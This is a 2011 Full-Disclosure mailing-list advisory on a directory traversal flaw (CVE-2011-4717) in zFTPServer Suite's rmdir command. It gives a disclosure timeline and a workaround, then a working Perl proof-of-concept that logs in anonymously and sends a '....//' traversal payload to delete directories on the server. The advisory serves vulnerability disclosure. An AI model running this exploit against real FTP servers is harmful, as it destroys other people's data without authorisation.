zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal

["Schurtz, Stefan" <S.Schurtz () infoserve de>]

Advisory:               zFTPServer Suite 6.0.0.52 'rmdir' Directory
Traversal
Advisory ID:            INFOSERVE-ADV2011-09
Author:                 Stefan Schurtz
Contact:                        security () infoserve de
Affected Software:      Successfully tested on zFTPServer Suite 6.0.0.52
Vendor URL:             http://www.zftpserver.com/
Vendor Status:          fixed
CVE-ID:                 CVE-2011-4717

==========================
Vulnerability Description
==========================

zFTPServer 'rmdir' is prone to a Directory Traversal, which makes it
possible to delete directories in the system

=========
Solution
=========

Fixed, but no new release available, as a workaround disable
"Directories->Delete"

====================
Disclosure Timeline
====================

04-Dec-2011 - informed vendor
06-Dec-2011 - fixed by vendor
10-Dec-2011 - release date of this security advisory

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://forum.zftpserver.com/viewtopic.php?f=4&t=2927
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-09.txt

Best regards,
Stefan Schurtz | SECURE INFRASTRUCTURE

INFOSERVE GmbH | Am Felsbrunnen 15 | D-66119 Saarbrücken
Fon +49 (0)681 88008-52 | Fax +49 (0)681 88008-33 | s.schurtz () infoserve de |
www.infoserve.de

Handelsregister: Amtsgericht Saarbrücken, HRB 11001 | Erfüllungsort:
Saarbrücken
Geschäftsführer: Dr. Stefan Leinenbach | Ust-IdNr.: DE168970599

#!/usr/bin/perl
use strict;
use Net::FTP;

my $user = "anonymous";
my $password = "anonymous@";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
        print "[+] Usage: $@ <target> <payload length>\n";
        exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload '....//' with min. length of 38
##################################################
my @p = ( "",".",".",".",".","/","/" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
         $payload .= $p[$i];
         push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload $payload\n";
$ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF

Attachment: smime.p7s
Description:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/